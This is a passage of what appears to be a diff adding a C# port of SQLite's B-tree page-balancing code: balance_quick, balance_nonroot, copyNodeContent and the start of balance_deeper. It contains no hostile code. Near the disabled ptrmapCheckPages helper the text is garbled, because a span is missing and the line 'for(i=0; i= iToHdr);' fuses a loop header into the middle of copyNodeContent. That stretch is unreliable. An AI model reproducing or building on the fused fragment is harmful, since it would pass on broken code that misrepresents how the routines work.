pSpace buffer is used to store a temporary copy of the divider +** cell that will be inserted into pParent. Such a cell consists of a 4 +** byte page number followed by a variable length integer. In other +** words, at most 13 bytes. Hence the pSpace buffer must be at +** least 13 bytes in size. +*/ + static int balance_quick(MemPage pParent, MemPage pPage, u8[] pSpace) + { + BtShared pBt = pPage.pBt; /* B-Tree Database */ + MemPage pNew = new MemPage();/* Newly allocated page */ + int rc; /* Return Code */ + Pgno pgnoNew = 0; /* Page number of pNew */ + + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage)); + Debug.Assert(pPage.nOverflow == 1); + + if (pPage.nCell <= 0) +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + + /* Allocate a new page. This page will become the right-sibling of +** pPage. Make the parent page writable, so that the new divider cell +** may be inserted. If both these operations are successful, proceed. +*/ + rc = allocateBtreePage(pBt, ref pNew, ref pgnoNew, 0, 0); + + if (rc == SQLITE_OK) + { + + int pOut = 4;//u8 pOut = &pSpace[4]; + u8[] pCell = pPage.aOvfl[0].pCell; + int[] szCell = new int[1]; szCell[0] = cellSizePtr(pPage, pCell); + int pStop; + + Debug.Assert(sqlite3PagerIswriteable(pNew.pDbPage)); + Debug.Assert(pPage.aData[0] == (PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF)); + zeroPage(pNew, PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF); + assemblePage(pNew, 1, pCell, szCell); + + /* If this is an auto-vacuum database, update the pointer map + ** with entries for the new page, and any pointer from the + ** cell on the page to an overflow page. If either of these + ** operations fails, the return code is set, but the contents + ** of the parent page are still manipulated by thh code below. + ** That is Ok, at this point the parent page is guaranteed to + ** be marked as dirty. Returning an error code will cause a + ** rollback, undoing any changes made to the parent page. + */ +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if (pBt.autoVacuum) +#else +if (false) +#endif + { + ptrmapPut(pBt, pgnoNew, PTRMAP_BTREE, pParent.pgno, ref rc); + if (szCell[0] > pNew.minLocal) + { + ptrmapPutOvflPtr(pNew, pCell, ref rc); + } + } + + /* Create a divider cell to insert into pParent. The divider cell + ** consists of a 4-byte page number (the page number of pPage) and + ** a variable length key value (which must be the same value as the + ** largest key on pPage). + ** + ** To find the largest key value on pPage, first find the right-most + ** cell on pPage. The first two fields of this cell are the + ** record-length (a variable length integer at most 32-bits in size) + ** and the key value (a variable length integer, may have any value). + ** The first of the while(...) loops below skips over the record-length + ** field. The second while(...) loop copies the key value from the + ** cell on pPage into the pSpace buffer. + */ + int iCell = findCell(pPage, pPage.nCell - 1); //pCell = findCell( pPage, pPage.nCell - 1 ); + pCell = pPage.aData; + int _pCell = iCell; + pStop = _pCell + 9; //pStop = &pCell[9]; + while (((pCell[_pCell++]) & 0x80) != 0 && _pCell < pStop) ; //while ( ( *( pCell++ ) & 0x80 ) && pCell < pStop ) ; + pStop = _pCell + 9;//pStop = &pCell[9]; + while (((pSpace[pOut++] = pCell[_pCell++]) & 0x80) != 0 && _pCell < pStop) ; //while ( ( ( *( pOut++ ) = *( pCell++ ) ) & 0x80 ) && pCell < pStop ) ; + + /* Insert the new divider cell into pParent. */ + insertCell(pParent, pParent.nCell, pSpace, pOut, //(int)(pOut-pSpace), + null, pPage.pgno, ref rc); + + /* Set the right-child pointer of pParent to point to the new page. */ + sqlite3Put4byte(pParent.aData, pParent.hdrOffset + 8, pgnoNew); + + /* Release the reference to the new page. */ + releasePage(pNew); + } + + return rc; + } +#endif //* SQLITE_OMIT_QUICKBALANCE */ + +#if FALSE +/* +** This function does not contribute anything to the operation of SQLite. +** it is sometimes activated temporarily while debugging code responsible +** for setting pointer-map entries. +*/ +static int ptrmapCheckPages(MemPage **apPage, int nPage){ +int i, j; +for(i=0; i= iToHdr); + Debug.Assert(get2byte(aFrom, iFromHdr + 5) <= pBt.usableSize); + + /* Copy the b-tree node content from page pFrom to page pTo. */ + iData = get2byte(aFrom, iFromHdr + 5); + Buffer.BlockCopy(aFrom, iData, aTo, iData, pBt.usableSize - iData);//memcpy(aTo[iData], ref aFrom[iData], pBt.usableSize-iData); + Buffer.BlockCopy(aFrom, iFromHdr, aTo, iToHdr, pFrom.cellOffset + 2 * pFrom.nCell);//memcpy(aTo[iToHdr], ref aFrom[iFromHdr], pFrom.cellOffset + 2*pFrom.nCell); + + /* Reinitialize page pTo so that the contents of the MemPage structure + ** match the new data. The initialization of pTo "cannot" fail, as the + ** data copied from pFrom is known to be valid. */ + pTo.isInit = 0; +#if !NDEBUG || SQLITE_COVERAGE_TEST || DEBUG + rc = btreeInitPage(pTo);//TESTONLY(rc = ) btreeInitPage(pTo); +#else +btreeInitPage(pTo); +#endif + Debug.Assert(rc == SQLITE_OK); + + /* If this is an auto-vacuum database, update the pointer-map entries + ** for any b-tree or overflow pages that pTo now contains the pointers to. + */ +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if (pBt.autoVacuum) +#else +if (false) +#endif + { + pRC = setChildPtrmaps(pTo); + } + } + } + + /* + ** This routine redistributes cells on the iParentIdx'th child of pParent + ** (hereafter "the page") and up to 2 siblings so that all pages have about the + ** same amount of free space. Usually a single sibling on either side of the + ** page are used in the balancing, though both siblings might come from one + ** side if the page is the first or last child of its parent. If the page + ** has fewer than 2 siblings (something which can only happen if the page + ** is a root page or a child of a root page) then all available siblings + ** participate in the balancing. + ** + ** The number of siblings of the page might be increased or decreased by + ** one or two in an effort to keep pages nearly full but not over full. + ** + ** Note that when this routine is called, some of the cells on the page + ** might not actually be stored in MemPage.aData[]. This can happen + ** if the page is overfull. This routine ensures that all cells allocated + ** to the page and its siblings fit into MemPage.aData[] before returning. + ** + ** In the course of balancing the page and its siblings, cells may be + ** inserted into or removed from the parent page (pParent). Doing so + ** may cause the parent page to become overfull or underfull. If this + ** happens, it is the responsibility of the caller to invoke the correct + ** balancing routine to fix this problem (see the balance() routine). + ** + ** If this routine fails for any reason, it might leave the database + ** in a corrupted state. So if this routine fails, the database should + ** be rolled back. + ** + ** The third argument to this function, aOvflSpace, is a pointer to a + ** buffer big enough to hold one page. If while inserting cells into the parent + ** page (pParent) the parent page becomes overfull, this buffer is + ** used to store the parent's overflow cells. Because this function inserts + ** a maximum of four divider cells into the parent page, and the maximum + ** size of a cell stored within an internal node is always less than 1/4 + ** of the page-size, the aOvflSpace[] buffer is guaranteed to be large + ** enough for all overflow cells. + ** + ** If aOvflSpace is set to a null pointer, this function returns + ** SQLITE_NOMEM. + */ + static int balance_nonroot( + MemPage pParent, /* Parent page of siblings being balanced */ + int iParentIdx, /* Index of "the page" in pParent */ + u8[] aOvflSpace, /* page-size bytes of space for parent ovfl */ + int isRoot /* True if pParent is a root-page */ + ) + { + BtShared pBt; /* The whole database */ + int nCell = 0; /* Number of cells in apCell[] */ + int nMaxCells = 0; /* Allocated size of apCell, szCell, aFrom. */ + int nNew = 0; /* Number of pages in apNew[] */ + int nOld; /* Number of pages in apOld[] */ + int i, j, k; /* Loop counters */ + int nxDiv; /* Next divider slot in pParent.aCell[] */ + int rc = SQLITE_OK; /* The return code */ + u16 leafCorrection; /* 4 if pPage is a leaf. 0 if not */ + int leafData; /* True if pPage is a leaf of a LEAFDATA tree */ + int usableSpace; /* Bytes in pPage beyond the header */ + int pageFlags; /* Value of pPage.aData[0] */ + int subtotal; /* Subtotal of bytes in cells on one page */ + //int iSpace1 = 0; /* First unused byte of aSpace1[] */ + int iOvflSpace = 0; /* First unused byte of aOvflSpace[] */ + int szScratch; /* Size of scratch memory requested */ + MemPage[] apOld = new MemPage[NB]; /* pPage and up to two siblings */ + MemPage[] apCopy = new MemPage[NB]; /* Private copies of apOld[] pages */ + MemPage[] apNew = new MemPage[NB + 2];/* pPage and up to NB siblings after balancing */ + int pRight; /* Location in parent of right-sibling pointer */ + int[] apDiv = new int[NB - 1]; /* Divider cells in pParent */ + int[] cntNew = new int[NB + 2]; /* Index in aCell[] of cell after i-th page */ + int[] szNew = new int[NB + 2]; /* Combined size of cells place on i-th page */ + u8[][] apCell = null; /* All cells begin balanced */ + u16[] szCell; /* Local size of all cells in apCell[] */ + //u8[] aSpace1; /* Space for copies of dividers cells */ + Pgno pgno; /* Temp var to store a page number in */ + + pBt = pParent.pBt; + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage)); + +#if FALSE +TRACE("BALANCE: begin page %d child of %d\n", pPage.pgno, pParent.pgno); +#endif + + /* At this point pParent may have at most one overflow cell. And if +** this overflow cell is present, it must be the cell with +** index iParentIdx. This scenario comes about when this function +** is called (indirectly) from sqlite3BtreeDelete(). +*/ + Debug.Assert(pParent.nOverflow == 0 || pParent.nOverflow == 1); + Debug.Assert(pParent.nOverflow == 0 || pParent.aOvfl[0].idx == iParentIdx); + + //if( !aOvflSpace ){ + // return SQLITE_NOMEM; + //} + + /* Find the sibling pages to balance. Also locate the cells in pParent + ** that divide the siblings. An attempt is made to find NN siblings on + ** either side of pPage. More siblings are taken from one side, however, + ** if there are fewer than NN siblings on the other side. If pParent + ** has NB or fewer children then all children of pParent are taken. + ** + ** This loop also drops the divider cells from the parent page. This + ** way, the remainder of the function does not have to deal with any + ** overflow cells in the parent page, since if any existed they will + ** have already been removed. + */ + i = pParent.nOverflow + pParent.nCell; + if (i < 2) + { + nxDiv = 0; + nOld = i + 1; + } + else + { + nOld = 3; + if (iParentIdx == 0) + { + nxDiv = 0; + } + else if (iParentIdx == i) + { + nxDiv = i - 2; + } + else + { + nxDiv = iParentIdx - 1; + } + i = 2; + } + if ((i + nxDiv - pParent.nOverflow) == pParent.nCell) + { + pRight = pParent.hdrOffset + 8; //&pParent.aData[pParent.hdrOffset + 8]; + } + else + { + pRight = findCell(pParent, i + nxDiv - pParent.nOverflow); + } + pgno = sqlite3Get4byte(pParent.aData, pRight); + while (true) + { + rc = getAndInitPage(pBt, pgno, ref apOld[i]); + if (rc != 0) + { + apOld = new MemPage[i + 1];//memset(apOld, 0, (i+1)*sizeof(MemPage*)); + goto balance_cleanup; + } + nMaxCells += 1 + apOld[i].nCell + apOld[i].nOverflow; + if ((i--) == 0) break; + + if (i + nxDiv == pParent.aOvfl[0].idx && pParent.nOverflow != 0) + { + apDiv[i] = 0;// = pParent.aOvfl[0].pCell; + pgno = sqlite3Get4byte(pParent.aOvfl[0].pCell, apDiv[i]); + szNew[i] = cellSizePtr(pParent, apDiv[i]); + pParent.nOverflow = 0; + } + else + { + apDiv[i] = findCell(pParent, i + nxDiv - pParent.nOverflow); + pgno = sqlite3Get4byte(pParent.aData, apDiv[i]); + szNew[i] = cellSizePtr(pParent, apDiv[i]); + + /* Drop the cell from the parent page. apDiv[i] still points to + ** the cell within the parent, even though it has been dropped. + ** This is safe because dropping a cell only overwrites the first + ** four bytes of it, and this function does not need the first + ** four bytes of the divider cell. So the pointer is safe to use + ** later on. + ** + ** Unless SQLite is compiled in secure-delete mode. In this case, + ** the dropCell() routine will overwrite the entire cell with zeroes. + ** In this case, temporarily copy the cell into the aOvflSpace[] + ** buffer. It will be copied out again as soon as the aSpace[] buffer + ** is allocated. */ +#if SQLITE_SECURE_DELETE +memcpy(aOvflSpace[apDiv[i]-pParent.aData], apDiv[i], szNew[i]); +apDiv[i] = &aOvflSpace[apDiv[i]-pParent.aData]; +#endif + dropCell(pParent, i + nxDiv - pParent.nOverflow, szNew[i], ref rc); + } + } + + /* Make nMaxCells a multiple of 4 in order to preserve 8-byte + ** alignment */ + nMaxCells = (nMaxCells + 3) & ~3; + + /* + ** Allocate space for memory structures + */ + //k = pBt.pageSize + ROUND8(sizeof(MemPage)); + //szScratch = + // nMaxCells*sizeof(u8*) /* apCell */ + // + nMaxCells*sizeof(u16) /* szCell */ + // + pBt.pageSize /* aSpace1 */ + // + k*nOld; /* Page copies (apCopy) */ + apCell = new byte[nMaxCells][];//apCell = sqlite3ScratchMalloc( szScratch ); + //if( apCell==null ){ + // rc = SQLITE_NOMEM; + // goto balance_cleanup; + //} + szCell = new u16[nMaxCells];//(u16*)&apCell[nMaxCells]; + //aSpace1 = new byte[pBt.pageSize * (nMaxCells)];// aSpace1 = (u8*)&szCell[nMaxCells]; + //Debug.Assert( EIGHT_BYTE_ALIGNMENT(aSpace1) ); + + /* + ** Load pointers to all cells on sibling pages and the divider cells + ** into the local apCell[] array. Make copies of the divider cells + ** into space obtained from aSpace1[] and remove the the divider Cells + ** from pParent. + ** + ** If the siblings are on leaf pages, then the child pointers of the + ** divider cells are stripped from the cells before they are copied + ** into aSpace1[]. In this way, all cells in apCell[] are without + ** child pointers. If siblings are not leaves, then all cell in + ** apCell[] include child pointers. Either way, all cells in apCell[] + ** are alike. + ** + ** leafCorrection: 4 if pPage is a leaf. 0 if pPage is not a leaf. + ** leafData: 1 if pPage holds key+data and pParent holds only keys. + */ + leafCorrection = (u16)(apOld[0].leaf * 4); + leafData = apOld[0].hasData; + for (i = 0; i < nOld; i++) + { + int limit; + + /* Before doing anything else, take a copy of the i'th original sibling + ** The rest of this function will use data from the copies rather + ** that the original pages since the original pages will be in the + ** process of being overwritten. */ + //MemPage pOld = apCopy[i] = (MemPage*)&aSpace1[pBt.pageSize + k*i]; + //memcpy(pOld, apOld[i], sizeof(MemPage)); + //pOld.aData = (void*)&pOld[1]; + //memcpy(pOld.aData, apOld[i].aData, pBt.pageSize); + MemPage pOld = apCopy[i] = apOld[i].Copy(); + + limit = pOld.nCell + pOld.nOverflow; + for (j = 0; j < limit; j++) + { + Debug.Assert(nCell < nMaxCells); + //apCell[nCell] = findOverflowCell( pOld, j ); + //szCell[nCell] = cellSizePtr( pOld, apCell, nCell ); + int iFOFC = findOverflowCell(pOld, j); + szCell[nCell] = cellSizePtr(pOld, iFOFC); + // Copy the Data Locally + apCell[nCell] = new u8[szCell[nCell]]; + if (iFOFC < 0) // Overflow Cell + Buffer.BlockCopy(pOld.aOvfl[-(iFOFC + 1)].pCell, 0, apCell[nCell], 0, szCell[nCell]); + else + Buffer.BlockCopy(pOld.aData, iFOFC, apCell[nCell], 0, szCell[nCell]); + nCell++; + } + if (i < nOld - 1 && 0 == leafData) + { + u16 sz = (u16)szNew[i]; + byte[] pTemp = new byte[sz + leafCorrection]; + Debug.Assert(nCell < nMaxCells); + szCell[nCell] = sz; + //pTemp = &aSpace1[iSpace1]; + //iSpace1 += sz; + Debug.Assert(sz <= pBt.pageSize / 4); + //Debug.Assert(iSpace1 <= pBt.pageSize); + Buffer.BlockCopy(pParent.aData, apDiv[i], pTemp, 0, sz);//memcpy( pTemp, apDiv[i], sz ); + apCell[nCell] = new byte[sz]; + Buffer.BlockCopy(pTemp, leafCorrection, apCell[nCell], 0, sz);//apCell[nCell] = pTemp + leafCorrection; + Debug.Assert(leafCorrection == 0 || leafCorrection == 4); + szCell[nCell] = (u16)(szCell[nCell] - leafCorrection); + if (0 == pOld.leaf) + { + Debug.Assert(leafCorrection == 0); + Debug.Assert(pOld.hdrOffset == 0); + /* The right pointer of the child page pOld becomes the left + ** pointer of the divider cell */ + Buffer.BlockCopy(pOld.aData, 8, apCell[nCell], 0, 4);//memcpy( apCell[nCell], ref pOld.aData[8], 4 ); + } + else + { + Debug.Assert(leafCorrection == 4); + if (szCell[nCell] < 4) + { + /* Do not allow any cells smaller than 4 bytes. */ + szCell[nCell] = 4; + } + } + nCell++; + } + } + + /* + ** Figure out the number of pages needed to hold all nCell cells. + ** Store this number in "k". Also compute szNew[] which is the total + ** size of all cells on the i-th page and cntNew[] which is the index + ** in apCell[] of the cell that divides page i from page i+1. + ** cntNew[k] should equal nCell. + ** + ** Values computed by this block: + ** + ** k: The total number of sibling pages + ** szNew[i]: Spaced used on the i-th sibling page. + ** cntNew[i]: Index in apCell[] and szCell[] for the first cell to + ** the right of the i-th sibling page. + ** usableSpace: Number of bytes of space available on each sibling. + ** + */ + usableSpace = pBt.usableSize - 12 + leafCorrection; + for (subtotal = k = i = 0; i < nCell; i++) + { + Debug.Assert(i < nMaxCells); + subtotal += szCell[i] + 2; + if (subtotal > usableSpace) + { + szNew[k] = subtotal - szCell[i]; + cntNew[k] = i; + if (leafData != 0) { i--; } + subtotal = 0; + k++; + if (k > NB + 1) { rc = SQLITE_CORRUPT; goto balance_cleanup; } + } + } + szNew[k] = subtotal; + cntNew[k] = nCell; + k++; + + /* + ** The packing computed by the previous block is biased toward the siblings + ** on the left side. The left siblings are always nearly full, while the + ** right-most sibling might be nearly empty. This block of code attempts + ** to adjust the packing of siblings to get a better balance. + ** + ** This adjustment is more than an optimization. The packing above might + ** be so out of balance as to be illegal. For example, the right-most + ** sibling might be completely empty. This adjustment is not optional. + */ + for (i = k - 1; i > 0; i--) + { + int szRight = szNew[i]; /* Size of sibling on the right */ + int szLeft = szNew[i - 1]; /* Size of sibling on the left */ + int r; /* Index of right-most cell in left sibling */ + int d; /* Index of first cell to the left of right sibling */ + + r = cntNew[i - 1] - 1; + d = r + 1 - leafData; + Debug.Assert(d < nMaxCells); + Debug.Assert(r < nMaxCells); + while (szRight == 0 || szRight + szCell[d] + 2 <= szLeft - (szCell[r] + 2)) + { + szRight += szCell[d] + 2; + szLeft -= szCell[r] + 2; + cntNew[i - 1]--; + r = cntNew[i - 1] - 1; + d = r + 1 - leafData; + } + szNew[i] = szRight; + szNew[i - 1] = szLeft; + } + + /* Either we found one or more cells (cntnew[0])>0) or pPage is + ** a virtual root page. A virtual root page is when the real root + ** page is page 1 and we are the only child of that page. + */ + Debug.Assert(cntNew[0] > 0 || (pParent.pgno == 1 && pParent.nCell == 0)); + + TRACE("BALANCE: old: %d %d %d ", + apOld[0].pgno, + nOld >= 2 ? apOld[1].pgno : 0, + nOld >= 3 ? apOld[2].pgno : 0 + ); + + /* + ** Allocate k new pages. Reuse old pages where possible. + */ + if (apOld[0].pgno <= 1) + { + rc = SQLITE_CORRUPT; + goto balance_cleanup; + } + pageFlags = apOld[0].aData[0]; + for (i = 0; i < k; i++) + { + MemPage pNew = new MemPage(); + if (i < nOld) + { + pNew = apNew[i] = apOld[i]; + apOld[i] = null; + rc = sqlite3PagerWrite(pNew.pDbPage); + nNew++; + if (rc != 0) goto balance_cleanup; + } + else + { + Debug.Assert(i > 0); + rc = allocateBtreePage(pBt, ref pNew, ref pgno, pgno, 0); + if (rc != 0) goto balance_cleanup; + apNew[i] = pNew; + nNew++; + + /* Set the pointer-map entry for the new sibling page. */ +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if (pBt.autoVacuum) +#else +if (false) +#endif + { + ptrmapPut(pBt, pNew.pgno, PTRMAP_BTREE, pParent.pgno, ref rc); + if (rc != SQLITE_OK) + { + goto balance_cleanup; + } + } + } + } + + /* Free any old pages that were not reused as new pages. + */ + while (i < nOld) + { + freePage(apOld[i], ref rc); + if (rc != 0) goto balance_cleanup; + releasePage(apOld[i]); + apOld[i] = null; + i++; + } + + /* + ** Put the new pages in accending order. This helps to + ** keep entries in the disk file in order so that a scan + ** of the table is a linear scan through the file. That + ** in turn helps the operating system to deliver pages + ** from the disk more rapidly. + ** + ** An O(n^2) insertion sort algorithm is used, but since + ** n is never more than NB (a small constant), that should + ** not be a problem. + ** + ** When NB==3, this one optimization makes the database + ** about 25% faster for large insertions and deletions. + */ + for (i = 0; i < k - 1; i++) + { + int minV = (int)apNew[i].pgno; + int minI = i; + for (j = i + 1; j < k; j++) + { + if (apNew[j].pgno < (u32)minV) + { + minI = j; + minV = (int)apNew[j].pgno; + } + } + if (minI > i) + { + int t; + MemPage pT; + t = (int)apNew[i].pgno; + pT = apNew[i]; + apNew[i] = apNew[minI]; + apNew[minI] = pT; + } + } + TRACE("new: %d(%d) %d(%d) %d(%d) %d(%d) %d(%d)\n", + apNew[0].pgno, szNew[0], + nNew >= 2 ? apNew[1].pgno : 0, nNew >= 2 ? szNew[1] : 0, + nNew >= 3 ? apNew[2].pgno : 0, nNew >= 3 ? szNew[2] : 0, + nNew >= 4 ? apNew[3].pgno : 0, nNew >= 4 ? szNew[3] : 0, + nNew >= 5 ? apNew[4].pgno : 0, nNew >= 5 ? szNew[4] : 0); + + Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage)); + sqlite3Put4byte(pParent.aData, pRight, apNew[nNew - 1].pgno); + + /* + ** Evenly distribute the data in apCell[] across the new pages. + ** Insert divider cells into pParent as necessary. + */ + j = 0; + for (i = 0; i < nNew; i++) + { + /* Assemble the new sibling page. */ + MemPage pNew = apNew[i]; + Debug.Assert(j < nMaxCells); + zeroPage(pNew, pageFlags); + assemblePage(pNew, cntNew[i] - j, apCell, szCell, j); + Debug.Assert(pNew.nCell > 0 || (nNew == 1 && cntNew[0] == 0)); + Debug.Assert(pNew.nOverflow == 0); + + j = cntNew[i]; + + /* If the sibling page assembled above was not the right-most sibling, + ** insert a divider cell into the parent page. + */ + Debug.Assert(i < nNew - 1 || j == nCell); + if (j < nCell) + { + u8[] pCell; + u8[] pTemp; + int sz; + + Debug.Assert(j < nMaxCells); + pCell = apCell[j]; + sz = szCell[j] + leafCorrection; + pTemp = new byte[sz];//&aOvflSpace[iOvflSpace]; + if (0 == pNew.leaf) + { + Buffer.BlockCopy(pCell, 0, pNew.aData, 8, 4);//memcpy( pNew.aData[8], pCell, 4 ); + } + else if (leafData != 0) + { + /* If the tree is a leaf-data tree, and the siblings are leaves, + ** then there is no divider cell in apCell[]. Instead, the divider + ** cell consists of the integer key for the right-most cell of + ** the sibling-page assembled above only. + */ + CellInfo info = new CellInfo(); + j--; + btreeParseCellPtr( pNew, apCell[j], ref info ); + pCell = pTemp; + sz = 4 + putVarint( pCell, 4, (u64)info.nKey ); + pTemp = null; + } + else + { + //------------ pCell -= 4; + byte[] _pCell_4 = new byte[pCell.Length + 4]; + Buffer.BlockCopy(pCell, 0, _pCell_4, 4, pCell.Length); + pCell = _pCell_4; + // + /* Obscure case for non-leaf-data trees: If the cell at pCell was + ** previously stored on a leaf node, and its reported size was 4 + ** bytes, then it may actually be smaller than this + ** (see btreeParseCellPtr(), 4 bytes is the minimum size of + ** any cell). But it is important to pass the correct size to + ** insertCell(), so reparse the cell now. + ** + ** Note that this can never happen in an SQLite data file, as all + ** cells are at least 4 bytes. It only happens in b-trees used + ** to evaluate "IN (SELECT ...)" and similar clauses. + */ + if (szCell[j] == 4) + { + Debug.Assert(leafCorrection == 4); + sz = cellSizePtr(pParent, pCell); + } + } + iOvflSpace += sz; + Debug.Assert(sz <= pBt.pageSize / 4); + Debug.Assert(iOvflSpace <= pBt.pageSize); + insertCell(pParent, nxDiv, pCell, sz, pTemp, pNew.pgno, ref rc); + if (rc != SQLITE_OK) goto balance_cleanup; + Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage)); + + j++; + nxDiv++; + } + } + Debug.Assert(j == nCell); + Debug.Assert(nOld > 0); + Debug.Assert(nNew > 0); + if ((pageFlags & PTF_LEAF) == 0) + { + Buffer.BlockCopy(apCopy[nOld - 1].aData, 8, apNew[nNew - 1].aData, 8, 4); //u8* zChild = &apCopy[nOld - 1].aData[8]; + //memcpy( apNew[nNew - 1].aData[8], zChild, 4 ); + } + + if (isRoot != 0 && pParent.nCell == 0 && pParent.hdrOffset <= apNew[0].nFree) + { + /* The root page of the b-tree now contains no cells. The only sibling + ** page is the right-child of the parent. Copy the contents of the + ** child page into the parent, decreasing the overall height of the + ** b-tree structure by one. This is described as the "balance-shallower" + ** sub-algorithm in some documentation. + ** + ** If this is an auto-vacuum database, the call to copyNodeContent() + ** sets all pointer-map entries corresponding to database image pages + ** for which the pointer is stored within the content being copied. + ** + ** The second Debug.Assert below verifies that the child page is defragmented + ** (it must be, as it was just reconstructed using assemblePage()). This + ** is important if the parent page happens to be page 1 of the database + ** image. */ + Debug.Assert(nNew == 1); + Debug.Assert(apNew[0].nFree == + (get2byte(apNew[0].aData, 5) - apNew[0].cellOffset - apNew[0].nCell * 2) + ); + copyNodeContent(apNew[0], pParent, ref rc); + freePage(apNew[0], ref rc); + } + else +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if (pBt.autoVacuum) +#else +if (false) +#endif + { + /* Fix the pointer-map entries for all the cells that were shifted around. + ** There are several different types of pointer-map entries that need to + ** be dealt with by this routine. Some of these have been set already, but + ** many have not. The following is a summary: + ** + ** 1) The entries associated with new sibling pages that were not + ** siblings when this function was called. These have already + ** been set. We don't need to worry about old siblings that were + ** moved to the free-list - the freePage() code has taken care + ** of those. + ** + ** 2) The pointer-map entries associated with the first overflow + ** page in any overflow chains used by new divider cells. These + ** have also already been taken care of by the insertCell() code. + ** + ** 3) If the sibling pages are not leaves, then the child pages of + ** cells stored on the sibling pages may need to be updated. + ** + ** 4) If the sibling pages are not internal intkey nodes, then any + ** overflow pages used by these cells may need to be updated + ** (internal intkey nodes never contain pointers to overflow pages). + ** + ** 5) If the sibling pages are not leaves, then the pointer-map + ** entries for the right-child pages of each sibling may need + ** to be updated. + ** + ** Cases 1 and 2 are dealt with above by other code. The next + ** block deals with cases 3 and 4 and the one after that, case 5. Since + ** setting a pointer map entry is a relatively expensive operation, this + ** code only sets pointer map entries for child or overflow pages that have + ** actually moved between pages. */ + MemPage pNew = apNew[0]; + MemPage pOld = apCopy[0]; + int nOverflow = pOld.nOverflow; + int iNextOld = pOld.nCell + nOverflow; + int iOverflow = (nOverflow != 0 ? pOld.aOvfl[0].idx : -1); + j = 0; /* Current 'old' sibling page */ + k = 0; /* Current 'new' sibling page */ + for (i = 0; i < nCell; i++) + { + int isDivider = 0; + while (i == iNextOld) + { + /* Cell i is the cell immediately following the last cell on old + ** sibling page j. If the siblings are not leaf pages of an + ** intkey b-tree, then cell i was a divider cell. */ + pOld = apCopy[++j]; + iNextOld = i + (0 == leafData ? 1 : 0) + pOld.nCell + pOld.nOverflow; + if (pOld.nOverflow != 0) + { + nOverflow = pOld.nOverflow; + iOverflow = i + (0 == leafData ? 1 : 0 )+ pOld.aOvfl[0].idx; + } + isDivider = 0 == leafData ? 1 : 0; + } + + Debug.Assert(nOverflow > 0 || iOverflow < i); + Debug.Assert(nOverflow < 2 || pOld.aOvfl[0].idx == pOld.aOvfl[1].idx - 1); + Debug.Assert(nOverflow < 3 || pOld.aOvfl[1].idx == pOld.aOvfl[2].idx - 1); + if (i == iOverflow) + { + isDivider = 1; + if ((--nOverflow) > 0) + { + iOverflow++; + } + } + + if (i == cntNew[k]) + { + /* Cell i is the cell immediately following the last cell on new + ** sibling page k. If the siblings are not leaf pages of an + ** intkey b-tree, then cell i is a divider cell. */ + pNew = apNew[++k]; + if (0 == leafData) continue; + } + Debug.Assert(j < nOld); + Debug.Assert(k < nNew); + + /* If the cell was originally divider cell (and is not now) or + ** an overflow cell, or if the cell was located on a different sibling + ** page before the balancing, then the pointer map entries associated + ** with any child or overflow pages need to be updated. */ + if (isDivider != 0 || pOld.pgno != pNew.pgno) + { + if (0 == leafCorrection) + { + ptrmapPut(pBt, sqlite3Get4byte(apCell[i]), PTRMAP_BTREE, pNew.pgno, ref rc); + } + if (szCell[i] > pNew.minLocal) + { + ptrmapPutOvflPtr(pNew, apCell[i], ref rc); + } + } + } + + if (0 == leafCorrection) + { + for (i = 0; i < nNew; i++) + { + u32 key = sqlite3Get4byte(apNew[i].aData, 8); + ptrmapPut(pBt, key, PTRMAP_BTREE, apNew[i].pgno, ref rc); + } + } + +#if FALSE +/* The ptrmapCheckPages() contains Debug.Assert() statements that verify that +** all pointer map pages are set correctly. This is helpful while +** debugging. This is usually disabled because a corrupt database may +** cause an Debug.Assert() statement to fail. */ +ptrmapCheckPages(apNew, nNew); +ptrmapCheckPages(pParent, 1); +#endif + } + + Debug.Assert(pParent.isInit != 0); + TRACE("BALANCE: finished: old=%d new=%d cells=%d\n", + nOld, nNew, nCell); + + /* + ** Cleanup before returning. + */ + balance_cleanup: + //sqlite3ScratchFree( ref apCell ); + for (i = 0; i < nOld; i++) + { + releasePage(apOld[i]); + } + for (i = 0; i < nNew; i++) + { + releasePage(apNew[i]); + } + + return rc; + } + + + /* + ** This function is called when the root page of a b-tree structure is + ** overfull (has one or more overflow pages). + ** + ** A new child page is allocated and the contents of the current root + ** page, including overflow cells, are copied into the child. The root + ** page is then overwritten to make it an empty page with the right-child + ** pointer pointing to the new page. + ** + ** Before returning, all pointer-map entries corresponding to pages + ** that the new child-page now contains pointers to are updated. The + ** entry corresponding to the new right-child pointer of the root + ** page is also updated. + ** + ** If successful, ppChild is set to contain a reference to the child + ** page and SQLITE_OK is returned. In this case the caller is required + ** to call releasePage() on ppChild exactly once. If an error occurs, + ** an error code is returned and ppChild is set to 0. + */ + static int balance_deeper(MemPage pRoot, ref MemPage ppChild) + { + int rc; /* Return value from subprocedures */ + MemPage pChild = null; /* Pointer to a new child page */ + Pgno pgnoChild = 0; /* Page number of the new child page */ + BtShared pBt = pRoot.pBt; /* The BTree */ + + Debug.Assert(pRoot.nOverflow > 0); + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + + /* Make pRoot, the root page of the b-tree, writable. Allocate a new + ** page that will become the new right-child of pPage. Copy the contents + ** of the node stored on pRoot into the new child page. + */ + rc = sqlite3PagerWrite(pRoot.pDbPage); + if (rc == SQLITE_OK) + { + rc = allocateBtreePage(pBt, ref pChild, ref pgnoChild, pRoot.pgno, 0); + copyNodeContent(pRoot, pChild, ref rc); +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if (pBt.autoVacuum) +#else +if (false) +#endif + { + ptrmapPut(pBt, pgnoChild, PTRMAP_BTREE, pRoot.pgno, ref rc); + } + } + if (rc != 0) + { + ppChild = null; 